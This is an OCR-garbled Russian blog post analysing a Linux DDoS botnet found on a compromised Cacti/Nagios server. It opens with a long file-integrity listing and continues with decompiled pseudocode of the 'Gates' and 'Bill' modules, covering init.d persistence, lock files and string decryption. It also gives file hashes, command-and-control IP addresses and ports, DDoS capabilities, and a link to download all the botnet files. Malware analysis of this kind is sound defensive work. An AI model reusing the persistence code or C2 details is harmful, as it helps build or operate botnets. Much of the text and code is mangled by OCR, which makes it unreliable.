/usr/share/cacti/lib/adodb/drivers/adodb-informix72.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-1ldap.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-mssql.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-mssqlpo.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-mysql.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-mysqli.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-mysqlt.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-netezza.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-oci8.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-0ci805.1inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-oci8po.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-odbc.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-odbc_mssql.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-odbc_oracle.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-odbtp.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-odbtp_unicode.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-oracle.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-pdo.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-postgres.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-postgres64.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-postgres7.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-proxy.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-sapdb.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-sqglanywhere.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-sqlite.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-sqlitepo.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-sybase.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-vfp.inc.php
/usr/share/cacti/lib/adodb/lang
/usr/share/cacti/lib/adodb/lang/adodb-ar.inc.php
/usr/share/cacti/lib/adodb/lang/adodb-bg.inc.php
/usr/share/cacti/lib/adodb/lang/adodb-bgutf8.inc.php
/usr/share/cacti/lib/adodb/lang/adodb-ca.inc.php
/usr/share/cacti/lib/adodb/lang/adodb-cn.inc.php
/usr/share/cacti/lib/adodb/lang/adodb-cz.inc.php
/usr/share/cacti/lib/adodb/lang/adodb-de.inc.php
/usr/share/cacti/lib/adodb/lang/adodb-en.inc.php
/usr/share/cacti/lib/adodb/lang/adodb-es.inc.php
/usr/share/cacti/lib/adodb/lang/adodb-fr.inc.php
/usr/share/cacti/lib/adodb/lang/adodb-hu.inc.php
/usr/share/cacti/lib/adodb/lang/adodb-it.inc.php
/usr/share/cacti/lib/adodb/lang/adodb-nl.inc.php
/usr/share/cacti/lib/adodb/lang/adodb-pl.inc.php
/usr/share/cacti/lib/adodb/lang/adodb-pt-br.inc.php
/usr/share/cacti/lib/adodb/lang/adodb-ro.inc.php
/usr/share/cacti/lib/adodb/lang/adodb-rul251.inc.php
/usr/share/cacti/lib/adodb/lang/adodb-sv.inc.php
/usr/share/cacti/lib/adodb/license. txt
/usr/share/cacti/lib/adodb/toexport.inc.php
/usr/share/cacti/lib/adodb/tohtml.inc.php
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/usr/share/cacti/lib/api_automation_tools.php
/usr/share/cacti/lib/api_data_source.php
/usr/share/cacti/lib/api_device.php
/usr/share/cacti/lib/api_graph.php
/usr/share/cacti/lib/api_poller.php
/usr/share/cacti/lib/api_tree.php
/usr/share/cacti/lib/auth.php
/usr/share/cacti/lib/cdef.php
/usr/share/cacti/lib/data_query.php
/usr/share/cacti/lib/database.php
/usr/share/cacti/lib/export.php
/usr/share/cacti/lib/functions.php
/usr/share/cacti/lib/graph_export.php
/usr/share/cacti/lib/graph_variables.php
/usr/share/cacti/lib/html.php
/usr/share/cacti/lib/html_form.php
/usr/share/cacti/lib/html_form_template.php
/usr/share/cacti/lib/html_tree.php
/usr/share/cacti/lib/html_utility.php
/usr/share/cacti/lib/html_validate.php
/usr/share/cacti/lib/import.php
/usr/share/cacti/lib/1dap.php
/usr/share/cacti/lib/ping.php
/usr/share/cacti/lib/plugins.php
/usr/share/cacti/lib/poller.php
/usr/share/cacti/lib/rrd.php
/usr/share/cacti/lib/snmp.php
/usr/share/cacti/lib/sort.php
/usr/share/cacti/lib/template.php
/usr/share/cacti/lib/time.php
/usr/share/cacti/lib/timespan_settings.php
/usr/share/cacti/lib/tree.php
/usr/share/cacti/lib/utility.php
/usr/share/cacti/lib/variables.php
/usr/share/cacti/lib/xml.php
/usr/share/cacti/logout.php

/usr/share/cacti/plugins
/usr/share/cacti/plugins.php
/usr/share/cacti/plugins/index.php
/usr/share/cacti/poller.php
/usr/share/cacti/poller_commands.php
/usr/share/cacti/poller_export.php
/usr/share/cacti/resource
/usr/share/cacti/resource/script_queries
/usr/share/cacti/resource/script_queries/host_cpu.xml
/usr/share/cacti/resource/script_queries/host_disk.xml
/usr/share/cacti/resource/script_queries/unix_disk.xml
/usr/share/cacti/resource/script_server
/usr/share/cacti/resource/script_server/host_cpu.xml
/usr/share/cacti/resource/script_server/host_disk.xml
/usr/share/cacti/resource/snmp_queries
/usr/share/cacti/resource/snmp_queries/host_disk.xml
/usr/share/cacti/resource/snmp_queries/interface.xml
/usr/share/cacti/resource/snmp_queries/kbridge.xml
/usr/share/cacti/resource/snmp_queries/net-snmp_disk.xml
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....... /usr/share/cacti/resource/snmp_queries/netware_cpu.xml
....... /usr/share/cacti/resource/snmp_queries/netware_disk.xml
....... /usr/share/cacti/rra.php

....... /usr/share/cacti/script_server.php

....... /usr/share/cacti/settings.php

....... /usr/share/cacti/templates_export.php

....... /usr/share/cacti/templates_import.php

....... /usr/share/cacti/tree.php

....... /usr/share/cacti/user_admin.php

....... /usr/share/cacti/utilities.php

....... /var/lib/cacti

....... /var/lib/cacti/cli

....... /var/lib/cacti/cli/add_data_query.php

....... /var/lib/cacti/cli/add_device.php

....... /var/lib/cacti/cli/add_graph_template.php
....... /var/lib/cacti/cli/add_graphs.php

....... /var/lib/cacti/cli/add_perms.php

....... /var/lib/cacti/cli/add_tree.php

....... /var/lib/cacti/cli/analyze_database.php

....... /var/lib/cacti/cli/convert_innodb.php

....... /var/lib/cacti/cli/copy_user.php

....... /var/lib/cacti/cli/data_template_associate_rra.php
....... /var/lib/cacti/cli/host_update_template.php
....... /var/lib/cacti/cli/import_template.php

....... /var/lib/cacti/cli/poller_data_sources_reapply_names.php
....... /var/lib/cacti/cli/poller_graphs_reapply_names.php
....... /var/lib/cacti/cli/poller_output_empty.php
....... /var/lib/cacti/cli/poller_reindex_hosts.php
....... /var/lib/cacti/cli/rebuild_poller_cache.php
....... /var/lib/cacti/cli/reorder_data_query.php
....... /var/lib/cacti/cli/repair_database.php

....... /var/lib/cacti/cli/repair_templates.php

....... /var/lib/cacti/cli/structure_rra_paths.php
....... /var/lib/cacti/cli/upgrade_database.php

....... /var/lib/cacti/rra

....... /var/lib/cacti/scripts

....... /var/lib/cacti/scripts/3com_cable_modem.pl
....... /var/lib/cacti/scripts/diskfree.pl

....... /var/lib/cacti/scripts/diskfree.sh

....... /var/lib/cacti/scripts/linux_memory.pl

....... /var/lib/cacti/scripts/loadavg.pl

....... /var/lib/cacti/scripts/loadavg_multi.pl

....... /var/lib/cacti/scripts/ping.pl

....... /var/lib/cacti/scripts/query_host_cpu.php
....... /var/lib/cacti/scripts/query_host_partitions.php
....... /var/lib/cacti/scripts/query_unix_partitions.pl
....... /var/lib/cacti/scripts/sql.php

....... /var/lib/cacti/scripts/ss_fping.php

....... /var/lib/cacti/scripts/ss_host_cpu.php

....... /var/lib/cacti/scripts/ss_host_disk.php

....... /var/lib/cacti/scripts/ss_sql.php

....... /var/lib/cacti/scripts/unix_processes.pl

....... /var/lib/cacti/scripts/unix_tcp_connections.pl
....... /var/lib/cacti/scripts/unix_users.pl

....... /var/lib/cacti/scripts/weatherbug.pl
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Mo, /var/lib/cacti/scripts/webhits.pl

S.5....T. /var/log/cacti/cacti.log
S.5....T. c¢ /etc/ntop.conf

....... T. c¢ /etc/avahi/hosts

S.5....T. c /etc/netatalk/AppleVolumes.default
S.5....T. c /etc/netatalk/afpd.conf

S.5....T. c /etc/netatalk/netatalk.conf
S.5....T. c /etc/httpd/conf.d/nagios.conf
S.5....T. c¢ /etc/nagios/nagios.cfg

S.5....T. c¢ /etc/nagios/objects/commands.cfg
S.5....T. c¢ /etc/nagios/objects/localhost.cfg
S.5....T. c /etc/sysconfig/ntpd

S.5....T. c /etc/profile

SM5..UGT. c /etc/snmp/snmpd.conf

S.5....T. c /etc/sysconfig/iptables-config
....... T. c¢ /etc/avahi/avahi-dnsconfd.action
S.5....T. c¢ /etc/dnsmasq.conf

OTO O3HAYaEeT, YTO HUKAKME CUCTEMHbIE (harnbl He Obiny n3MeHeHbI. T.K. npouecchl B
cucTeme He BbInu CKpbIThbl, A NPEANOSIOXMI, YTO HUKAKUX PYTKUTOB 34€eCb He
MCNONb30BanoCb U MOXHO C HEKOTOPOW YBEPEHHOCTbLIO CKa3aTb, YTO CUCTEMA YUCTa.

Mouck nHdopmaumm o 60THeTE

[MepBbIM genoM 8 Havyan uckatb Kaky-To nHdopmaumo 06 aTom 60THETE, MLla N0 UMEHU
AOMeHa, nMeHn hannos 1 CTpokam mn3 crontab.

HekoTopas nHgopmaumsa cpasy xe Hawnach:

My home PC has been Own3d :( @ forums.debian.net

| Got Myself Hacked @ hackervisions.org
Suspected rootkit @ archlinuxarm.org

B uenom, Hun4ero MHTEpPECHOro Ui HOBOIO.

UccnepoBaHue hannoB 60THeTa

[MepBbIM genom, s Bocnosb3oancs nporpammon file, 4yTobbl y3HaTe nobonbLle 06 aTum
ncrnonHsaembix pannax:
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http://forums.debian.net/viewtopic.php?f=20&t=111024
http://askubuntu.com/questions/397934/what-do-sapd-skysapd-sksapd-and-ksapd-do
http://hackervisions.org/index.php/i-got-myself-hacked/
http://archlinuxarm.org/forum/viewtopic.php?t=6537&p=36396

atddd: ELF 32-bit LSB executable, Intel 80386, version
linked, for GNU/Linux 2.2.5, not stripped

cupsdd: ELF 32-bit LSB executable, Intel 80386, version
linked, for GNU/Linux 2.2.5, not stripped

cupsddh: ELF 32-bit LSB executable, Intel 80386, version
linked, stripped

ksapdd: ELF 32-bit LSB executable, Intel 80386, version
linked, for GNU/Linux 2.2.5, not stripped

kysapdd: ELF 32-bit LSB executable, Intel 80386, version
linked, for GNU/Linux 2.2.5, not stripped

skysapdd: ELF 32-bit LSB executable, Intel 80386, version
linked, for GNU/Linux 2.2.5, not stripped

xfsdxd: ELF 32-bit LSB executable, Intel 80386, version
linked, for GNU/Linux 2.2.5, not stripped

Not stripped! Bot Tak HOBOCTb!

(SYSV),

(SYSV),

statically

statically

(GNU/Linux), statically

(SYSV),
(SYSV),
(SYSV),

(SYSV),

statically
statically
statically

statically

MHe novyemy-To NnoHpasunicsa dann cupsdd, n 9 NnepBbIM 4erOM 3arpys3un ero, a He atddd.

Cam He 3Hato noyemy, HO 3TO BbIfI0 COBEPLLUEHHO NPAaBMUIBHO.
Gates

Ntak, cupsdd — moaynb «Gates». md5 603170ad361f6e098c8681ed264155eb, sha1

1714fd31cc931e2a0eb97d25a076567af45dc6d8

UTo e oH genaert, n novyemy oH «Gates»? Hy, Ha ato Ham oTBeTUT IDA Pro, Hanpumep.

int _ cdecl main{)

{
void =vB: [} esp@l

vi = alloca{16);

C3ysTool::SelfInit();
C3ysTool::SelfInstall{@8);

if { *{unsigned  int8) {daemon{1, A} »>> 31} }

it { {unzigned int8)CSysTool::IsGatesExist() }
exit{@);

it { g_iIsService == 1)
CUtility::SetautoStart{{int)"DbSecuritySspt"”, 97);

HainProcess();

}

return 8;
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Eigned int _ cdecl CSysTool::IsGatesExist()

{
size t vB;: [} ebx@11

void =v1: [{ eax@11

int v2; [ eax@i1

int v3; [ff eax@l2

pid t vd; ] eax@i12

int v5; [f eax@16

signed int v7; }{ [sp+Ch] [bp-ACh]@3

int addr; {{ [sp+18h] [bp-a8h]@8

size t len; {} [sp+3Ch] [bp-7Ch]@l®

char vi18; {} [sp+98h] [bp-28h]@11

char v11; |} [sp+39Eh] [bp-1ah]@11

char v12; }}! [sp+9Fh] [bp-19h]@11

int fd; f/ [sp+aB8h] [bp-18h]@2

int v14; [{ [sp+aah] [bp-14h]@es

unsigned _ int8 v15; }{ [sp+aah] [bp-Eh]@1
unsigned int® vi16; ! [spt4Bh] [bp-Dh]@7
int v17; }} [sp+ach] [bp-ch]@i1

v15 = CFileOp::FileExists("ftmpfgates. lock™);
if {vis T 1)

fd = open({"/tmpfgates. lock™, 192, @x1EDu);

if { fd <= 8)
return 1;

YUTo Xe genaert aToT MOAyIb?

MblTaeTca nHyman n3npoBaTtb cebs

PacnakoBbiBaeT RSA-gaHHble, B MOEM crydae 3To Obina cTpoka:

116.10.189.246:30000:1:1:h:578856:579372:579888

MepemeHHble 13 KOTOPOI Ha3Ha4alTCs CreayoLLmMM obpasom:

g_strConnTgt=116.10.189.246
g_iGatsPort=30000
g_iGatsIsFx=1
g_iIsService=1
g_strBillTail=h
g_strCryptStart=578856
g_strDStart=579372
g_StrNStart=579888

MNMocnepgHue Tpy NnapameTpa HyXHbl Ansi onpegenerHnst Tpex RSA-cTpok B cnyyae
obHOBNEHNa moaynen.

CKpbITbIN TEKCT
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std::string::string{Bzomething decrypted);

std::allocator<char>::allocator(};

std: :string::string{
Bkevl,
"5F1E29B3C6DBFADCEIBIEI1C1639F 1FEDE3C7 B0 159B49386B81397386F9E3117996B2368D7 2E4C
Bu2ay;

std::allocator{char>:: allocator (Bv24);

std::allocator<{char>::allocator(}:;

std: :string: :string{
Blkev?,
"A9EAIEABESABAEBAAE 184468 1FC2CE283E682906BEFOBAEAECSA 168CFBEBES34428 14EFBGBCACT!
Buv2n);

std::allocator{char>:: allocator (Bv25);

std::allocator{char>::allocator(};

std::string::string{
Bkeyd,
"BE2BACCAF1409B347AF 109293700 136DE2CD2A6 1CA2DAADSCFEFEEF7F5868782CA19D7D3CDD52:
Bv2E);

std::allocator<char>:: allocator {8v26};

if { {unsigned int8)std::string::empty({&kev1} © 1)

{

CRS4: :Decrypt{{int)Bzomething decrypted, {int)&keyl, {int}Bkev2, (int)&key3});

[MbiTaeTca yctaHoBUTL Mogynb «Bill»

[MpoBepsieT, He 3anyLueH nu yxe oH, nytem 6unga nopta 10808. Ecnn yaanock 3abuHaMTb
— He 3anyuleH. Ecnu Hert, To ybmnBaem npouecc, PID koToporo xpaHutcs B lock-channe B
/tmp/bill.lock

HaxoguT nyTb, rae XpaHUTCs TeKyLMn exe, nyTem YyTeHus /proc/%d/exe, BblaensaeT nyTb,

pobasnsert 'BillTail', pacwmdpoBaHHoro u3 nyHkta 1 (B Moem cny4dae 6bin 'h'), oTkpbIBaeT ero

Ha 3anncb 1 3anucbiBaeT Tyga hann, HadnHasa co cmelleHns 0xB1728 pasmepom 335872.
dopkaeTcs 1 3anyckaeT HOBbIN doans.

CKpbITbIN TEKCT

int cdecl CSysTool::SelfInstall{char al)
{

signed int wi1: [}/ eax@1l
int result: J] eax@2

vl = C3ysTool::IsBillExist({);
it { { BYTE)v1 }
{

LOBYTE{v1}) = al;
result = w1 1;
it { { BYTE)result )

C3ysTool: (KillBill(}:
rezult = CSysTool::ReleaseandStartBill({);
}
}

else

rezult = C8ysTool::ReleaseandStartBill({)}:
}

return result;
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o BbisbiBaeT pyHkumnto daemon(), kotopasa pebuHamt Tekywme stdin, stdout n stderr Ha
/dev/null

o [lpoBepserT, 3anyLieH nNu oH cam (Moaynb «Gates») nytem npoBepku canna
/tmp/gates.lock. Ecnu 3anyweH, To Gates 3aBepLuaeTtcs.

[obGaBnsieT pacnakoBaHHbIN Moayrnb «Billy B aBTo3arpysky sysvinit nytem cosgaHus
HaunpocTenwwero init-ckpunTa B /etc/init.d/ ¢ HasBaHnem «DbSecuritySpt» Buaa:

#!1/bin/bash
/path/to/bill

W cospaet cumnnHkm B /etc/rc[1-5].d/97DbSecuritySpt Ha Hero.

CKpbITbIN TEKCT

std::string::string{(Bexepath};
CUtility::GetModuleFullPath{Bexepath};

it { {unsigned int8)std::string::empty{Bexepath} )

vh = B8;

}

elsze

{
CUtility::Sleep(1888);
std::allocator{char>::allocator(}:
std::string::string{Bv11, "fetclinit. d}"., Binitdpath});
std::uperatur <char_std::char_traits{char> std::allocator<{char>>{Bv3}):
std::string:: string(&vi1);
std::allucatur(char} :_allocator (Binitdpath);:
initzerv = {char =)}std::string::c_str{8v3);
fd = open{initzerv, 5F8, Bx1EDu):
if { id>8)
{

memcpy (Baddr, CUtility::SetdutoStart char_ const  int ::C 63, 25B});

vl = std: strlng :c_str{Bexepath);

gprintf{Baddr, “H*/bin/bash\n¥sy\n", v3};

write{fd. Baddr. strlen{Baddr}}:

close(fd});

for {1 =8; 1 €= 4; ++1 }

{
memcpy {Bv7, CUtility::SetAutoStart char_ const__int_::C 64, 25B);
memcpy (Bpathname, CUtility::SetdutoStart char_ const_ int ::C B5. 25B6);
sprintf{8pathname, "fetc/{rc¥d. dfs¥d¥s". 1 + 1, =serviceparam, servicename});
if { access{Bpathname, 8) *= 8 )

sprintf {Bv7, "In -z fetcfinit. df%s %=, servicename. Bpathname}:
system{Bv7);




3anyckaetcs yHkuna MainProcess()

Yntaet OCHOBHYO MHGOPMAaLUIO O CUCTEME, NMPOoLEeCccope, onepaTnBHOW NamsaTh, CeTEBbIX
KapTax, BUH4YecTepax.

CKpbITbIN TEKCT
void cdecl HainProcess ()

int va; }} ST28_4@1

CConfigDoing::Initialize{g cnfgDoing):
cCmdDoing: :Initialize{g cmdDoing);
CStatBase::Initialize{g statBase);
v = operator new{988);
CHanager: : CHanager {v0) ;
q]_pManager = vi;
if { vo )
CManager::Initialize{g pManager):

gzignal (9. KillHandler):
while { 1)

| CUtility::Sleep({Gaaan);

}

Bill

Mogaynb «Bill» — DDoS mogyns. 3anakosaH UPX. B moem crniyyae HasbiBarncs "cupsddh”,
md5 7fb3dce23d290166¢c7e52644b16faaeb, sha1
98db5a311118c78d97aa514db7d8277535544926
e YmMmeet atakoBatb xocTbl o0 TCP, UDP, ICMP n metogom DNS-amnnundpukauyumn. Ymeet
orpaHnymBaTth cebs B pecypcax CPU, nepekoHpuUrypmpoBaTbCs Ha NeTy,
CaMOOBHOBMATLCS.
¢ UuTaeT OCHOBHYIO MH(pOpMaLMIO O cUCTEME, NpoLEeccope, ornepaTMBHOM NaMsATH,
CeTeBbIX KapTax, BUHYeCcTepax.
e Yuraet nHgopmaumo o DNS.
e [lenaet system(«insmod /usr/lib/xpacket.ko»)
e [1pn camoobHoBneHnn nuwet cebsa B /usr/lib/libamplify.so

HaunHaet cnywatb 127.0.0.1:10808. MoxeT nony4artb Kak KOHUr OT rMaBHOro Mogyns, Tak
N KOMaHAbl Ha aTaky.

«CTyyvawmm» moaynb

®ann ksapdd — kakon-To Mo4ySb, KOTOPbIA OTAPaBSET CTaTUCTUKY N MHADOPMALIMIO Ha
rmaBHble cepBepa.

CepBep 1 NopT 3awmnTbl B nporpammy. B moem cny4vae, ato 6binmn 121.12.110.96:10991,
KOTOpble 3fIeMEeHTapHO OEeKOANPYHOTCS:

CKpbITbIN TEKCT
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memcpy (Bv4, CServerIP::Initialize wvoid ::C 48, 25B):
memcpy (Bv3, CServerIP::Initialize wvoid_::C_49, 25B):
CUtility::DeCrypt{{int)Bua, 265, ({int)"212-21/82/[87", 39):
CUtility::DeCrypt{{int)Bu3, 2585, (int)"2/:82", 18):

char _ cdecl CUtility::DeCrypt{int buf, int staticinp, int crypteddata, int maxi)
{

char result; [} al@Ec

int i; {{ [sptCh] [bp-dh]@1

for { i = @8; ; ++i )

result = i;
if (i »= maxi }
break;
result = i;
it { i »= staticinp )
break;
result = ={ BYTE =)} {crypteddata + i}:
it { Yresult )

break;
if (181}

®{ BYTE =) {buf + i} = ={ BYTE =) {crypteddata + i} + 1;
else

w{ BYTE =) {buf + i} #{ BYTE =) {crypteddata + i} - 1;

return rezult;

]

dannel kysapdd, skysapdd, xfsdxd n atddd siBnstotcs konuamn ksapdd, HO nepBbIn
nogkntovaetcs k 112.90.252.76:10991, sropon k 112.90.22.197:10991, TpeTtnn K
116.10.189.246:10991, a yeTBepTbIi — K 202.103.178.76:10991

3aknr4yeHue

Hy BoT u Bce. Nony4nMnocb HECKONMbKO MOBEPXHOCTHO, HO YNpaBnsoLLMe cepBepbl B yNop He
XOTAT OTAaBaTb KOMaHAbl MOMM 3K3eMMnnsgpam, U HAYEro He npoucxoaut. bepernte ceou
cepBepbl. rghost.ru/52680741 — 3gecb Bce hannbl 6oTHETA.
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